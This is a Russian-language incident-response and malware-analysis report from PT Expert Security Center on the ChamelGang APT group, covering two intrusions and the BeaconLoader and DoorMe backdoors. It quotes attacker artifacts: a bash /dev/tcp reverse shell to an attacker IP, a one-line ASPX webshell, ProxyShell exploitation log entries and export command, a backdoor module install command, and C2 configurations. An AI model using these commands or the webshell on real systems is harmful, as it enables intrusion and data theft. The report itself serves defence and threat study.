Positive Technologies
PT Expert Security Center

Мастера маскировки: новая группировка ChamelGang и ее арсенал

Мастера маскировки: новая группировка ChamelGang и ее арсенал

Содержание

Введение

Во втором квартале 2021 года команда по реагированию на инциденты ИБ экспертного центра безопасности Positive Technologies(PT Expert Security Center, PT ESC) провела расследование в компании топливно-энергетического комплекса. В ходе проведенных работ выяснилось, что сеть компании была скомпрометирована неизвестной группой с целью хищения данных. Злоумышленники использовали два пути. Они приобретали домены, имитирующие легитимные (newtrendmicro.com, centralgoogle.com, microsoft-support.net, cdn-chrome.com, mcafee-upgrade.com). Кроме того, APT-группа на своих серверах размещала SSL-сертификаты, которые тоже имитировали легитимные (github.com, www.ibm.com, jquery.com, update.microsoft-support.net). Для достижения своей цели атакующие использовали метод проникновения — trusted relationship. Группа скомпрометировала дочернюю организацию и через нее проникла в сеть целевого предприятия.

Уже после расследования первого инцидента, 16 августа 2021 года, в рамках мониторинга угроз информационной безопасности (threat intelligence) только что выявленной группировки специалисты PT ESC обнаружили еще одну ее успешную атаку (были скомпрометированы серверы жертвы), идентифицировали новую жертву и уведомили пострадавшую организацию. В этот раз злоумышленники атаковали российскую компанию из авиационно-промышленного сектора, а для проникновения использовали цепочку уязвимостей ProxyShell.

В своем инструментарии группа использовала как уже известные вредоносные программы, в частности FRP, Cobalt Strike Beacon, Tiny shell, так и новое, не встречавшееся ранее ВПО — ProxyT, BeaconLoader, DoorMe backdoor.

Несмотря на то что нам удалось провести два успешных расследования, мы не смогли однозначно отнести злоумышленников ни к одной из известных сегодня APT-групп. Новой группировке мы дали название ChamelGang (от англ. chameleon), так как группа в обоих случаях маскировала свое вредоносное ПО и сетевую инфраструктуру под легитимные сервисы Microsoft, TrendMicro, McAfee, IBM, Google и других компаний.

CASE #1

1.1. Хронология событий

Причиной для расследования стали множественные срабатывания антивирусных продуктов у организации с вердиктом Cobalt Strike Beacon в оперативной памяти.

1.2. Исходный вектор

В конце марта 2021 года злоумышленники для получения доступа в сеть топливно-энергетической компании скомпрометировали дочернюю организацию, используя уязвимую версию веб-приложения на платформе JBoss Application Server. Как показало расследование, злоумышленники, проэксплуатировав уязвимость CVE-2017-12149, получили возможность удаленного исполнения команд на узле.

При анализе серверных журналов на скомпрометированном узле были обнаружены записи vuln6581362514513155613jboss, которые свидетельствуют о применении публичного эксплойта jboss-_CVE-2017-12149.

Пример работы эксплойта
Рисунок 1. Пример работы эксплойта

Артефакт на скомпрометированном узле
Рисунок 2. Артефакт на скомпрометированном узле

Также в журналах server.log содержались результаты работы всех команд злоумышленников. Стоит отметить, что команды были типичными для разведки на узлах. Наиболее интересной из них оказалась следующая:

    
Caused by: java.lang.Exception: [L291919] PING ci6i6b.dnslog.cn (127.0.0.1) 56(84) bytes of data.

Сервис dnslog.cn генерирует случайный домен третьего уровня, который впоследствии будет использоваться для получения информации о доступности зараженных узлов. Зараженное устройство пытается разрешить этот домен. Если ему это удается — компьютер получает доступ в интернет. Если же нет, то он находится в закрытой сети. Ниже представлен пример работы сервиса:

Пример работы сервиса dnslog.cn
Рисунок 3. Пример работы сервиса dnslog.cn

1.3. Дальнейшее перемещение

Для управления скомпрометированным узлом и разведки на нем атакующие использовали:

  • однострочный Reverse Shell:
  •     
    bash -i >& /dev/tcp/115.144.122.8/5555 0>&1
  • общедоступный UNIX-бэкдор — Tiny SHell
  • Функциональность:

    • получение шелла с зараженного узла,
    • исполнение команды,
    • передача файлов.

Для запуска вредоносного ПО с повышением привилегий использовалась собственная утилита, названная нами LinuxPrivilegeElevator.

Функция main утилиты LinuxPrivilegeElevator
Рисунок 4. Функция main утилиты LinuxPrivilegeElevator

Далее злоумышленникам удалось получить доступ к Windows-инфраструктуре дочерней организации. В качестве рабочих директорий злоумышленники использовали:

  • C:\Windows\Web;
  • C:\Windows\System32\wbem;
  • C:\Windows\System32\inetsrv;
  • C:\Windows\Temp.

Для закрепления и повышения привилегий на вновь зараженных узлах атакующие использовали довольно старую технику типа DLL Hijacking, связанную с сервисом MSDTC. MSDTC — это служба Windows, отвечающая за координацию транзакций между базами данных (SQL Server) и веб-серверами. Более подробно с данной техникой можно ознакомиться в статье исследователей из компании Trend Micro.

После загрузки вредоносной библиотеки BeaconLoader (см. раздел «Анализ ВПО и инструментов») и зашифрованного Cobalt Strike Beacon dlang.dat в подходящую для DLL Hijacking рабочую директорию, злоумышленники перезагружали службу MSDTC. В связи с этим их действия на узле сопровождались событием 4111 в журналах Windows. При запуске служба пытается загрузить следующие три DLL-файла из C:\Windows\System32 — oci.dll, SQLLib80.dll; xa80.dll.

Ключ реестра с путем для библиотеки (HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSDTC\MTxOCI)
Рисунок 5. Ключ реестра с путем для библиотеки (HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSDTC\MTxOCI)

В конкретном случае роль BeaconLoader выполняет библиотека oci.dll.

На другом скомпрометированном узле злоумышленники использовали технику DLL Hijacking, но уже с другим сервисом. В этом случае атакующие загружали на узел вредоносную библиотеку в папку C:\Windows\System32 с именем wlbsctrl.dll. Затем они перезагружали службу IKEEXT командами «sc stop ikeext», «sc start ikeext». Вновь запущенный сервис вызывает LoadLibraryExW и пытается загрузить библиотеку по пути C:\Windows\System32\wlbsctrl.dll.

Вызов LoadLibraryExW
Рисунок 6. Вызов LoadLibraryExW

Библиотека wlbsctrl.dll также является BeaconLoader, а зашифрованный для нее Cobalt Strike Beacon хранится в файле C:\Windows\Temp\MpCmdRun.log.1.

При расследовании были выявлены разные конфигурации полезной нагрузки. Для узлов, имеющих прямой доступ в интернет, использовался HTTPS Beacon, а для связи с узлами в изолированных сегментах сети — SMB Beacon.

Примерно спустя две недели, что, по нашей оценке, очень быстро, злоумышленникам удалось скомпрометировать головную компанию благодаря тому, что ее сеть была связана с инфраструктурой дочерней организации. Атакующие узнали словарный пароль локального администратора на одном из серверов в изолированном сегменте и получили доступ в сеть по протоколу удаленного доступа RDP.

Получив доступ, злоумышленники проводили разведку в сети, используя встроенные в систему утилиты:

  • regsvr32.exe,
  • cmd.exe,
  • ipconfig.exe,
  • taskmgr.exe,
  • ping.exe,
  • nltest.exe,
  • netstat.exe,
  • tasklist.exe,
  • quser.exe,
  • nslookup.exe.

Для проверки доступности управляющих серверов злоумышленники использовали встроенную в операционную систему Windows утилиту Curl и (или) собственную утилиту ProxyTest (см. раздел «Анализ ВПО и инструментов»). Эта утилита предназначена для определения доступности ресурса по протоколу HTTP с удаленных компьютеров.

Примеры команд:

  • curl -i http://42.99.116.14
  • curl -i https://jumper.funding-exchange.org
  • proxyT.exe http://45.99.116.14

Зараженные узлы контролировались атакующими с помощью общедоступной утилиты FRP (fast reverse proxy), написанной на языке программирования Golang. Эта утилита предназначена для подключения к обратному прокси-серверу. Из конфигурационных данных был получен адрес сервера (45.91.24.73:8996), через который при помощи плагина socks5 маршрутизировались запросы злоумышленников.

Пример конфигурационного файла, который был восстановлен в процессе анализа дампа оперативной памяти одного из зараженных узлов:

    
[common] server_addr = 45.91.24.73 server_port = 80 token = 7tBjjTqYGmHg5PY8zYUL [mobi_socks5] type = tcp remote_port =8996 plugin = socks5 use_encryption = true use_compression = true tls_enable = true dns_server = 8.8.8.8 plugin_user = 95ReuhTj7Wd2Xfr plugin_passwd = XCWJt92Xxzb2L5N

Примечательно, что утилита FRP также применялась в атаках на правительственные учреждения в Восточной Азии, о чем сообщали исследователи из Avast в своей статье.

Примерно за два месяца изучив сеть компании и получив контроль над ее большей частью (включая критически важные серверы и узлы в разных сегментах сети), злоумышленники на один из IIS-серверов — в данном случае Exchange-сервер — установили вредоносный модуль, который оказался бэкдором DoorMe (см. раздел «Анализ ВПО и инструментов») и работал в контексте процесса веб-сервера w3wp.exe. Мы предполагаем, что это было сделано для резервирования канала управления скомпрометированной инфраструктурой. Данная техника была описана ранее в статье IIS Raid — Backdooring IIS Using Native Modules и эксплуатировалась APT-группой OilRig. В начале августа 2021 года на конференции Black Hat компания ESET представила подробный материал о семействе вредоносных IIS-модулей, что говорит о росте популярности этой техники среди атакующих.

В атаках бэкдор DoorMe устанавливался при помощи консольной команды:

    
c:\windows\system32\inetsrv\appcmd.exe install module /name:FastCgiModule_64bit /image:%windir%\System32\inetsrv\iisfcgix64.dll

При успешном исполнении команды параметры модуля сохраняются в конфигурационном файле applicationhost.config.

Выбранное для вредоносного модуля название FastCgiModule_64bit также является методом антифорензики. Злоумышленники замаскировали новый модуль под уже имеющийся легитимный модуль путем добавления в название разрядности x64.

Конфигурационный файл applicationhost.config
Рисунок 7. Конфигурационный файл applicationhost.config

При этом на официальном сайте Microsoft рекомендуется на серверах Exchange добавить некоторые папки в исключения антивирусных решений для стабильной работы сервера. В эту категорию попадает также папка %SystemRoot%\System32\Inetsrv для веб-компонентов IIS-сервера, в которой располагался DoorMe. В используемом антивирусном решении у изучаемой компании данное исключение было применено.

На момент расследования инцидента бэкдор DoorMe не детектировался средствами антивирусной защиты.

1.4. Сбор и эксфильтрация данных

Злоумышленники на скомпрометированных узлах собирали данные по определенным маскам:

    
7z.exe a -padminadmin -mhe=on -mx9 his.7z hist*

После сбора данных злоумышленники размещали их на веб-серверах в скомпрометированной сети для дальнейшей выгрузки их с помощью утилиты Wget.

			
2021-04-01 09:03:34 *.*.*.* GET /aspnet_client/system_web/favicon.rar - 443 - 172.104.109.12 Wget/1.20.3+(linux-gnu) 200

CASE #2

2.1. Хронология событий

При исследовании (threat intelligence) активности группы ChamelGang 16 августа 2021 года эксперты PT ESC обнаружили свежие следы компрометации серверов в еще одной компании, которая стала жертвой этой группировки. На этот раз злоумышленники атаковали организацию из авиационно-промышленного сектора России. Мы вовремя уведомили пострадавшую компанию — спустя четыре дня после того, как был скомпрометирован сервер, — и вместе с ее сотрудниками оперативно устранили угрозу. В общей сложности атакующие находились в сети жертвы восемь дней, а с момента оповещения до завершения работ по реагированию и расследованию инцидента прошло две недели. По нашим данным, APT-группа не ожидала, что ее бэкдоры обнаружат так быстро, поэтому не успела развить атаку дальше.

2.2. Исходный вектор

Для проникновения в инфраструктуру жертвы злоумышленники воспользовались цепочкой связанных уязвимостей в Microsoft Exchange (CVE-2021-34473, CVE-2021-34523, CVE-2021-31207), получившей название ProxyShell. Впервые о ней стало известно из доклада, представленного на конференции Black Hat 5 августа 2021 года (на следующий день исследователь опубликовал подробную статью), после чего различные APT-группы стали активно эксплуатировать эту цепочку уязвимостей. Первые POC-скрипты начали появляться на GitHub с 13 августа 2021 года.

Этапы эксплуатации ProxyShell группой ChamelGang следующие:

  • CVE-2021-34473 — обход ACL. Уязвимость позволяет указать адрес почтового ящика через строку запроса в обработчике EwsAutodiscoverProxyRequestHandler. Это, в свою очередь, дает возможность получить доступ к произвольному URL с правами NT AUTHORITY\SYSTEM.
    			
    17.08.2021 1:20:31 W3SVC1 - - POST /autodiscover/autodiscover.json @VICTIM.COM:444/autodiscover/autodiscover.xml?&Email=autodiscover/autodiscover.json?@VICTIM.COM 443 - 103.80.134.159 HTTP/1.1 ExchangeServicesClient/0.0.0.0 - - - 200 0 0 545
  • CVE-2021-34523 — понижение привилегий. Поскольку для пользователя NT AUTHORITY\SYSTEM не существует почтового ящика, злоумышленники на этом этапе получают валидный доменный SID локального администратора. В дальнейшем SID используется для параметра X-Rps-CAT.
    			
    17.08.2021 1:20:34 W3SVC1 - - POST /autodiscover/autodiscover.json @VICTIM.COM:444/mapi/emsmdb/?&Email=autodiscover/autodiscover.json?@VICTIM.COM 443 - 103.80.134.159 HTTP/1.1 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_13_6)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/69.0.3497.81+Safari/537.36 - - - 200 0 0 587
  • На данном этапе атакующие создают письмо в черновике через веб-службу Exchange (EWS). В POST-запросе передается элемент SOAP с черновым письмом.
    			
    17.08.2021 1:20:41 W3SVC1 - - POST /autodiscover/autodiscover.json @VICTIM.COM:444/ews/Exchange.asmx?&Email=autodiscover/autodiscover.json?@VICTIM.COM 443 - 103.80.134.159 HTTP/1.1 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_13_6)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/69.0.3497.81+Safari/537.36 - - - 200 0 0 623
    Черновики с полезной нагрузкой в почтовом ящике
    Рисунок 8. Черновики с полезной нагрузкой в почтовом ящике
  • CVE-2021-31207 — возможность записи в файл с последующим удаленным выполнением кода. Атакующие используют командлеты PowerShell: New-ManagementRoleAssignment, чтобы получить роль импорта и экспорта почтовых ящиков, и New-MailboxExportRequest — для экспорта почтового ящика в директорию веб-сервера.
    			
    17.08.2021 1:20:46 W3SVC1 - - POST /autodiscover/autodiscover.json @VICTIM.COM:444/PowerShell/?&X-Rps-CAT=[BASE64_REDACTED]&Email=autodiscover/autodiscover.json?@VICTIM 443 - 103.80.134.159 HTTP/1.1 Python+PSRP+Client - - - 200 0 0 1035
  • Далее в файловую систему выгружается почтовый PST-файл с сигнатурой (magic) !BDN (0x21, 0x42, 0x44, 0x4E) и расширением ASPX.
    			
    "New-MailboxExportRequest", "-Mailbox \"Administrator\" -IncludeFolders (\"#Drafts#\") -ContentFilter \"(Body -like '*468749030*')\" -ExcludeDumpster \"True\" -FilePath \"\\\\127.0.0.1\\C$\\inetpub\\wwwroot\\aspnet_client\\468749030.aspx\" -Name \"468749030\""
  • В содержимом конечного файла после наложения перестановочной кодировки NDB_CRYPT_PERMUTE можно заметить однострочный веб-шелл.
    Содержимое PST-файла
    Рисунок 9. Содержимое PST-файла
    			
    script Language="C#" runat="server">void Page_Load(object s, EventArgs e){System.IO.File.WriteAllText(Context.Request["p"],Encoding.UTF8.GetString(Convert.FromBase64String(Context.Request["c"])));} /script
  • Злоумышленники отправляют GET-запрос на веб-шелл.
    			
    17.08.2021 1:29:25 W3SVC1 - - GET /aspnet_client/468749030.aspx - 443 - 103.80.134.159 HTTP/1.1 Mozilla/5.0+(Windows+NT+6.1;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/91.0.4472.124+Safari/537.36 - - - 200 0 0 10415

После успешной установки веб-шелла атакующие загрузили функциональные веб-шеллы и начали проводить разведку на скомпрометированном узле. Для обнаружения попыток эксплуатации рассмотренной цепочки уязвимостей в журналах IIS-сервера можно воспользоваться публично доступными YARA-сигнатурами (полезные сведения об этих уязвимостях собраны в этом материале).

2.3. Дальнейшее перемещение

Атакующие осуществляли контроль над зараженными узлами с помощью веб-шеллов ASPX:

После закрепления на зараженных узлах злоумышленники установили бэкдор DoorMe v2 (см. раздел Анализ ВПО и инструментов) на два почтовых сервера (Microsoft Exchange Server) в сети жертвы. Выбранные имена вредоносных библиотек (modrpflt.dll, protsdown.dll) и имена модулей IIS-сервера (modrpflt, protsdown) — попытка замаскироваться под легитимные библиотеки. Для сокрытия вредоносных файлов атакующие также изменяли временные метки (Timestomp) и присваивали им значения легитимных файлов.

Конфигурационный файл applicationhost.config
Рисунок 10. Конфигурационный файл applicationhost.config
Timestomp вредоносной библиотеки
Рисунок 11. Timestomp вредоносной библиотеки

В атаке злоумышленники использовали модифицированную версию бэкдора DoorMe. Предположительно они модифицировали бэкдор после того, как его образец был загружен на VirusTotal. В результате новой обфускации большинство антивирусных движков перестали детектировать это ВПО.

Детекты антивирусных движков для старого файла
Рисунок 12. Детекты антивирусных движков для старого файла
Детекты антивирусных движков для нового файла
Рисунок 13. Детекты антивирусных движков для нового файла

Пример выполнения команды через бэкдор DoorMe в логах IIS:

			
17.08.2021 7:11:27 W3SVC1 - - POST /owa/ - 443 - 91.204.227.130 HTTP/1.1 Mozilla/5.0+(Windows+NT+6.1;+WOW64;+rv:40.0)+Gecko/20100101+Firefox/40.1 IISSessions=79cfdd0e92b120faadd7eb253eb800d0 - - 200 0 0 558

Для продвижения внутри сети и заражения пользовательских узлов атакующие воспользовались BeaconLoader (см. раздел Анализ ВПО и инструментов). Чтобы его запустить, злоумышленники применили ранее описанную технику запуска через службу MSDTC. После запуска эта служба подгружает библиотеку oci.dll, которая и запускает Cobalt Strike Beacon (dlang.dat).

3. Анализ ВПО и инструментов

3.1. BeaconLoader и Cobalt Strike Beacon

BeaconLoader, как уже ранее говорилось, загружается при помощи DLL Hijacking. На первом этапе библиотека получает адреса необходимых для работы функций и библиотек. Далее проверяет имя родительского процесса и тип привилегий (для дальнейшей работы необходим тип SYSTEM и имена msdtc.exe, msdtc.exe.mui, vmtoolsd.exe). Данные имена находятся внутри бинарного файла в зашифрованном виде, а их расшифрование происходит по одной и той же, достаточно любопытной схеме: каждое значение помещается в отдельный регистр, после чего каждый из регистров отдельно складывается по модулю 2 с однобайтовым значением и копируется на стек.

Код расшифрования имен процессов
Рисунок 14. Код расшифрования имен процессов

Также любопытно использование прямых нативных вызовов внутри библиотеки (рис. 15) для создания нового потока в случае корректности имени процесса, а также для работы с памятью.

Запуск нового потока
Рисунок 15. Запуск нового потока

Далее библиотека расшифровывает имя файла с полезной нагрузкой (рис. 16), после чего считывает его. Стоит отметить, что сам файл должен находиться в одной директории с библиотекой.

Имя файла с полезной нагрузкой
Рисунок 16. Имя файла с полезной нагрузкой

Затем происходит расшифрование основной нагрузки. В начале от считанного файла отделяются первые 16 байт (на рис. 17 выделены красным) — эти байты будут основой для подготовки ключа дешифрования.

Ключ шифрования внутри считанного файла
Рисунок 17. Ключ шифрования внутри считанного файла

Далее происходит первый этап подготовки ключа дешифрования — один цикл подготовки отделенных 16 байт считанного файла. Суть процедуры в том, что каждый байт складывается по модулю 2 со следующим значением (пример для первых шести байтов приведен на рис. 18). Также на некоторых этапах происходит модификация констант, хранимых в регистрах, на основании которых может измениться значение ключа шифрования на конкретном этапе.

Первые шесть итераций модификации ключа шифрования
Рисунок 18. Первые шесть итераций модификации ключа шифрования

После этого от полученных данных считается MD5-хеш. Полученное значение и будет искомым ключом шифрования.

Основная нагрузка расшифровывается алгоритмом AES в режиме CBC, с 16-байтным ключом, полученным на этапе подготовки, и нулевым (пустым) вектором инициализации.

Расшифрованная полезная нагрузка
Рисунок 19. Расшифрованная полезная нагрузка

После расшифрования для указанной области памяти меняются атрибуты безопасности (через NtProtectVirtualMemory), после чего в новом потоке на них передается управление.

В другой версии BeaconLoader, которая загружалась с помощью сервиса IKEEXT, многие участки кода идентичны предыдущим, но тем не менее в них много различий.

В самом начале также происходит проверка имени процесса — в данном случае имя процесса должно быть svchost.exe. Далее считывается файл C:\Windows\Temp\MpCmdRun.log.1, который, так же как и в предыдущем случае, содержит полезную нагрузку. Схема шифрования на первом же этапе отличается от того, что было в oci.dll: здесь в первых четырех байтах содержится ключ для XOR-расшифрования остальных данных. (Ключ выделен красным цветом на рис. 20.)

Четырехбайтный ключ и зашифрованные данные
Рисунок 20. Четырехбайтный ключ и зашифрованные данные

Расшифрование первого этапа не содержит в себе модификации ключа шифрования на каком-либо из этапов и заключается в обычном четырехбайтном XOR.

Цикл XOR-расшифрования
Рисунок 21. Цикл XOR-расшифрования

Расшифрованные данные представляют собой следующую структуру (рис. 22):

    
typedef struct decryptedData { DWORD null; DWORD sizeOfDecryptedData; char encryptionKey[32]; char dataToDecrypted[sizeOfDecryptedData]; } decryptedData, *pdecryptedData;

Стоит отметить, что значение sizeOfDecryptedData на 41 отличается от исходного размера файла: сюда включены два служебных поля и ключ шифрования.

Расшифрованные на первом этапе данные
Рисунок 22. Расшифрованные на первом этапе данные

На следующем этапе формируется вектор инициализации для алгоритма AES. Данное значение получается путем MD5-хеширования ключа шифрования «741668454FFA04A95EBA720E1B74A5B3» (поля encryptionKey), после чего с данными параметрами расшифровывается основная нагрузка в режиме AES_CBC.

Расшифрованная полезная нагрузка
Рисунок 23. Расшифрованная полезная нагрузка

В обоих случаях полезной нагрузкой являлись Cobalt Strike Beacon, причем в случае oci.dll расшифровывался и запускался SMB-beacon, а во втором случае —HTTPS-beacon.

Расследуя первый инцидент, мы обнаружили две версии Cobalt Strike Beacon: одна для взаимодействия по SMB, другая — по HTTPS. Ниже представлены краткие конфигурации этих двух версий.

HTTPS Beacon

BeaconType HTTPS
Port 443
PublicKey_MD5 5a178220c2514f49a16f0eb6d9dc2a37
C2Server www.funding-exchange.org,/Home.aspx
UserAgent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/17.17134
HttpPostUri /BecomeMember.aspx
Malleable_C2_Instructions - Remove 2365 bytes from the end
Remove 824 bytes from the beginning
Base64 URL-safe decode
XOR mask w/ random key
HttpGet_Metadata ConstHeaders
Accept: application/xhtml+xml;q=0.9,*/*;q=0.8
Host: www.thefundingexchange.com
Accept-Encoding: gzip, deflate
DNT: 1
Cache-Control: max-age=0
Metadata
base64url
prepend "check=true;ASP.NET_SessionId="
header "Cookie"
HttpPost_Metadata ConstHeaders
Accept: application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Host: www.thefundingexchange.com
Accept-Encoding: gzip, deflate
DNT: 1
Cache-Control: max-age=0
SessionId
mask
base64url
parameter "_s_token"
Output
mask
base64url
print
SSH_Banner Host: www.funding-exchange.org
Watermark 1936770133
HostHeader Host:www.funding-exchange.org

SMB Beacon

BeaconType SMB
Port 4444
PublicKey_MD5 5a178220c2514f49a16f0eb6d9dc2a37
PipeName \\.\pipe\Winsock2\CatalogChangeListener98df
Watermark 1936770133

У обеих версий одна и та же Watermark 1936770133, которая не была нами ранее замечена в других атаках.

При обращении на контрольный сервер www.funding-exchange[.]org происходит редирект на сайт thefundingexchange[.]com. Однако никакой вредоносной активности в рамках этого сайта нами отмечено не было.

Домашняя страница сайта, на который происходит редирект
Рисунок 24. Домашняя страница сайта, на который происходит редирект

3.2. BeaconLoader и Cobalt Strike Beacon v2

При расследовании второго инцидента были обнаружены две версии Cobalt Strike Beacon — ниже представлены основные поля их конфигурации.

BeaconType HTTPS
Port 443
PublicKey_MD5 d4ec8d5e82af77b8488abd5264aedf02
C2Server static.mhysl.org,/images/L._SX2_.jpg
UserAgent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
HttpPostUri /action/view.aspx
Watermark 1028153346

BeaconType Hybrid HTTP DNS
Port 1
PublicKey_MD5 d4ec8d5e82af77b8488abd5264aedf02
C2Server snn2.mhysl.org,/images/button_5x5.jpg,snn1.mhysl.org,/images/L._SX2_.jpg,snn3.mhysl.org,/images/button_5x5.jpg
UserAgent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
HttpPostUri /action/update.aspx
Watermark 1028153346

Watermark 1028153346 — уникальный и ранее не встречался в публичных источниках.

3.3. ProxyT

Приложение создано для проверки наличия соединения с каким-либо удаленным URL. Адрес URL передается в качестве параметра в программу, после чего она разделяет его на составные части вызовом InternetCrackUrlA. В случае если это сделать не удается, программа завершается, и в консоль выводится Error on InternetCrackUrl: error_code.

Далее происходит попытка создания дескриптора соединения (InternetOpenA, в случае ошибки — вывод в консоль Error On InternetOpen: error_code) и инициализация соединения (InternetConnectA, по аналогии выводится либо Error On InternetConnect: error_code, либо Error On INTERNET_SCHEME: error_code).

Основная логика приложения
Рисунок 25. Основная логика приложения

Далее формируется и отправляется на сервер GET-запрос. В случае ошибки ее код также выводится на консоль (рис. 25).

За получение заголовков из ответа сервера отвечает функция HttpQueryInfoA с параметром HTTP_QUERY_RAW_HEADERS_CRLF. Данный параметр означает, что будут возвращены все заголовки ответа сервера, при этом каждый из заголовков будет разделен символом возврата каретки.

После получения заголовков все они выводятся на консоль (функция fnPrintToConsole_fromReg).

3.4. Бэкдор DoorMe

Среди обнаруженных нами в ходе расследования инцидента образцов ВПО самым интересным является бэкдор DoorMe. По сути, он является нативным модулем IIS, который регистрируется как фильтр, через который проходит обработка HTTP-запросов и ответов.

У файла имеется две точки входа: основная, не имеющая никакого набора функций, и вторая — RegisterModule, которая требуется для регистрации нативного модуля — инициализирует экземпляр класса DoorMe. Название намекает на функциональность backdoor. Упоминаний об аналогичном бэкдоре в публичных источниках мы не обнаружили.

    
__int64 __fastcall RegisterModule(__int64 a1, __int64 a2) { _QWORD *v3; // rax v3 = operator new(8ui64); *v3 = &Doorme::`vftable'; return (*(*a2 + 24i64))(a2, v3, 0x100i64); }

В оригинальном коде такие же отладочные строки, как и в обнаруженном нами бэкдоре, что говорит о том, что определенные обработчики в бэкдоре не были реализованы:

    
__int64 CGlobalModule::OnGlobalStopListening() { OutputDebugStringA("This module subscribed to event "); OutputDebugStringA("CGlobalModule::OnGlobalStopListening"); OutputDebugStringA( " but did not override the method in its CGlobalModule implementation. Please check the method signature to make sure it matches the corresponding method.\n"); DebugBreak(); return 0i64; }
Отладочное сообщение в одной из функций из репозитория Microsoft IIS.Common
Рисунок 26. Отладочное сообщение в одной из функций из репозитория Microsoft IIS.Common

Модуль создает свой обработчик события OnGlobalPreBeginRequest, который запускается перед началом обработки запроса, поступившего на веб-интерфейс веб-приложения на IIS.

Обработчик обфусцирован, почти все строки зашифрованы с помощью XOR, что затрудняет его анализ.

    
v15 = 0x7B; strcpy(IISSessions.m128i_i8, "{22((\x1E\b\b\x12\x14\x15\b"); v16 = 0i64; while ( 1 ) { IISSessions.m128i_i8[++v16] ^= v15; if ( v16 >= 0xB ) break; v15 = IISSessions.m128i_i8[0]; } IISSessions.m128i_i8[12] = 0;

Логика обработчика следующая:

  1. Модуль определяет, какая фраза будет открывать основной набор функций бэкдора. Эта фраза задается в реестре по пути HKEY_CLASSES_ROOT\\.zip\\config. Если ключа в реестре нет, то используется фраза по умолчанию: fuckme.
  2. Значение по умолчанию
    Рисунок 27. Значение по умолчанию
    Обращение к реестру для получения нужного значения
    Рисунок 28. Обращение к реестру для получения нужного значения
  3. Ожидается, что в поступающем HTTP-запросе будет cookie IISSessions со значением MD5(ключ). В данном случае MD5 от fuckme, то есть 79cfdd0e92b120faadd7eb253eb800d0. Если это условие не будет соблюдено, то функция не будет вмешиваться в обработку запроса.
  4. Если метод запроса GET, то функция вернет строку <html><body><h1>It works!</h1></body></html>. Это является индикатором для злоумышленника, что бэкдор действительно установлен и функционирует.
  5. Формирование ответа на GET-запрос
    Рисунок 29. Формирование ответа на GET-запрос
  6. Если метод запроса POST, то ожидается, что контент поступившего POST-запроса зашифрован с помощью AES. Ключом является MD5 — первая половинка от MD5(исходный_ключ).

Всего реализовано шесть различных команд, которые может принимать данный бэкдор. Разделителем между командой и ее аргументом является символ пайпа:

Команда Значение
0 Вернуть текущую директорию, username и hostname
1 Запустить произвольную команду посредством cmd.exe /c <команда>
2 Запустить произвольную команду посредством создания нового процесса
3 Записать файл
4 Другой способ записать файл
5 Скопировать метки времени с файла А в файл Б

Результаты команд возвращаются в зашифрованном виде.

3.5. Бэкдор DoorMe v2

При расследовании второго инцидента мы обнаружили расширенную версию этого бэкдора: изменилась обфускация, появились новые команды. Однако название класса, содержащего переопределенные методы, которые реализуют набор функций бэкдора, осталось таким же — DoorMe.

Использование класса DoorMe
Рисунок 30. Использование класса DoorMe

Для усложнения анализа применяется обфускация control flow с использованием диспатчера:

Обфускация control flow
Рисунок 31. Обфускация control flow

Часть чувствительных строк данного бэкдора теперь лежат в открытом виде, а некоторые другие подвержены следующей схеме обфускации:

    
c: uint8 константа string[i] = (c & x[i] | ~c & y[i]) ^ z[i]
Обфускация строк
Рисунок 32. Обфускация строк

Внимательно посмотрев на значения x[i] и y[i], можно заметить, что они являются инверсией друг друга. Таким образом, итоговую формулу для каждого байта можно упростить:

    
string[i] = (c & x[i] | ~c & y[i]) ^ z[i] string[i] = (c & x[i] | ~c & ~x[i]) ^ z[i] string[i] = (c & x[i] | ~c & ~x[i]) ^ z[i] string[i] = ~(c ^ x[i]) ^ z[i] string[i] = c ^ ~x[i] ^ z[i]

Что интересно, эта формула сводится к двум XOR, а с учетом того, что в коде видно использование одинаковых пар x и z, можно сказать, что генератор этих строк работает еще проще, чем мог бы.

В отличие от IDA Pro, Ghidra упрощает эти уравнения, хотя и не справляется со всеми:

Обфускация строк в декомпиляторе Ghidra
Рисунок 33. Обфускация строк в декомпиляторе Ghidra

Кроме того, используется техника, которая «ломает» IDA Pro: она неправильно дробит функцию, из-за чего некоторые ноды графа исчезают из декомпилятора.

Метод антиотладки
Рисунок 34. Метод антиотладки

С этой проблемой справляется скрипт IDAPython:

    
def kill_gaps(): start_func_addr = here() fi = FuncItems(start_func_addr) last_addr = 0 for cur_addr in fi: #print("cur_addr", hex(cur_addr)) insn = idaapi.insn_t() if not last_addr: last_addr = cur_addr else: last_inst_len = idaapi.decode_insn(insn, last_addr) size_between_opcodes = cur_addr - last_addr gap = size_between_opcodes - last_inst_len if gap: print(f"{hex(last_addr)} - {hex(cur_addr)} Possibly gap {gap}, last_inst_len {last_inst_len}, but addr2-addr1={size_between_opcodes}") if gap > 2 and idc.get_bytes(cur_addr - 2, 2) == b"\x00\x00": print(" Probably align") last_addr = cur_addr continue print(f"Trying to recover: {hex(last_addr+last_inst_len)}") #del_items(cur_addr) create_insn(last_addr+last_inst_len) for _ in range(3): del_items(cur_addr+_) create_insn(last_addr+last_inst_len) for _ in range(3): create_insn(cur_addr+_) #create_insn(cur_addr-inst_len) last_addr = cur_addr kill_gaps ()

По сравнению с предыдущей версией количество команд увеличилось до одиннадцати:

Команда Значение
0 Вернуть текущую директорию, username и hostname
1 Запустить произвольную команду посредством cmd.exe /c <команда>
2 Запустить произвольную команду посредством создания нового процесса
3 Записать файл
4 Другой способ записать файл
5 Скопировать метки времени с файла А в файл Б
6 Вернуть текущую рабочую директорию приложения
7 Другой способ вернуть текущую рабочую директорию приложения
8 Получить информацию о содержимом в выбранной директории, передать тип файла, его размер, дату последнего изменения и название в виде таблицы: Size Type Last Modified Name
